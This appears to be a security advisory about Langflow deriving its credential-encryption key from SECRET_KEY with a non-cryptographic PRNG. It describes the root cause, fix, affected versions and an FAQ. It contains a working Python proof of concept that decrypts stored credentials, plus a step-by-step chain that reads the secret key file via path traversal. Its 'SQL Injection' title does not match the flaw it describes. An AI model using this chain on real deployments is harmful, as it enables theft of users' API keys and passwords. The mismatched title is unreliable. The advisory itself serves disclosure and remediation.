GHSA-jxw3-mjmx-3pqm: SQL Injection
Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRETKEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRETKEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRETKEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRETKEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secretkey file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
python MINIMUMKEYLENGTH = 32
def ensurevalidkey(self, rawkey: str) -> bytes: if len(rawkey) < MINIMUMKEYLENGTH: random.seed(rawkey) # Non-cryptographic PRNG seeded with the secret key = bytes(random.getrandbits(8) for in range(32)) # Fully deterministic output key = base64.urlsafeb64encode(key) else: key = self.addpadding(rawkey).encode() # Raw secret IS the Fernet key return key
def getfernet(self) -> Fernet: secretkey = self.settings.authsettings.SECRETKEY.getsecretvalue() validkey = self.ensurevalidkey(secretkey) return Fernet(validkey)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.createvariable and updatevariable).
What is encrypted under this key: All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
python services/variable/service.py encryptedvalue = authutils.encryptapikey(value) if type == CREDENTIALTYPE else value
Why this is critical in combination with the MCP path traversal: The secretkey file is stored at /app/data/.cache/langflow/secretkey — readable via the MCP path traversal vulnerability. Once exfiltrated: - If len(secretkey) < 32: run random.seed(secretkey) → derive identical key → decrypt all credentials instantly - If len(secretkey) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
python #!/usr/bin/env python3 Requires: pip install cryptography
import random import base64 from cryptography.fernet import Fernet
--- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch def decryptshortkey(secretkey: str, ciphertext: str) -> str: random.seed(secretkey) keybytes = bytes(random.getrandbits(8) for in range(32)) fernetkey = base64.urlsafeb64encode(keybytes) return Fernet(fernetkey).decrypt(ciphertext.encode()).decode()
--- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario def decryptlongkey(secretkey: str, ciphertext: str) -> str: paddingneeded = 4 - len(secretkey) % 4 padded = secretkey + "=" paddingneeded return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
Values obtained from /app/data/.cache/langflow/secretkey (exfiltrated) and from SELECT value FROM variable WHERE type='Credential' in langflow.db SECRETKEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch CIPHERTEXT = "gAAAAABpux-Gz3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVGGgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWysPsKPLBri5ZOPAAP2c5EKkx5vtc1M="
plaintext = decryptlongkey(SECRETKEY, CIPHERTEXT) print(f"Decrypted credential: {plaintext}") Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3: - Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db - Two Credential-type variables found in the variable table - Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345" - The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secretkey
End-to-end chain (with MCP path traversal): bash Step 1: Exfiltrate secretkey via MCP path traversal (no admin required, any authenticated user) Step 2: Query DB credentials via path traversal (SQLite file readable) Step 3: Decrypt offline — zero brute force, instant python3 pocdecrypt.py "$SECRETKEY" "$CIPHERTEXT" → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secretkey file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable - Database connection strings and passwords stored as credentials are exposed - OAuth tokens and webhook secrets stored via the Variables UI are exposed - All users on the instance are affected — credentials are stored per-user in the shared database but all encrypted under the same instance-wide SECRETKEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secretkey + database), leaving no server-side log traces.
Fix
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensurefernetkey() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRETKEY values. The 32-byte key is now derived deterministically with SHA-256:
python def ensurefernetkey(secretkey: str) -> bytes: if len(secretkey) < MINIMUMSECRETKEYLENGTH: digest = hashlib.sha256(secretkey.encode()).digest() # 32 bytes key = base64.urlsafeb64encode(digest) else: key = addbase64padding(secretkey).encode() return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via getfernetfordecryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secretkey) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0 Patched version: 1.10.1
Operator note: deployments running with a SECRETKEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRETKEY (secrets.tokenurlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/langflowto a version that resolves this vulnerability.Fixed in 1.10.1 - Upgrade
Upgrade
Langflowto a version that resolves this vulnerability.Fixed in 1.10.1 - Operational
For deployments with a SECRET_KEY shorter than 32 characters, re-enter previously stored credentials after upgrading to 1.10.1 or later; existing ciphertext remains readable for migration, while new writes use the new key.
Event History
Frequently Asked Questions
What does an attacker need to decrypt stored credentials?
The attacker needs the Langflow SECRET_KEY or the secret_key file. With a SECRET_KEY shorter than 32 characters, they can deterministically reproduce the Fernet key offline; with a 32-character-or-longer key, the raw key material itself is used as the Fernet key.
Which secrets are exposed if the encryption key material is obtained?
An attacker can decrypt every credential stored in the database, including API keys, LLM provider secrets, and database passwords.
Are deployments using a longer SECRET_KEY protected from this issue?
No. A SECRET_KEY of 32 characters or more follows a different code path, but exfiltrating the secret_key file is still sufficient to decrypt stored credentials without further computation.
How can I determine whether the deterministic key-derivation behavior applies to my deployment?
Check the length of the configured SECRET_KEY. The deterministic Mersenne Twister-based derivation applies when the SECRET_KEY is shorter than 32 characters.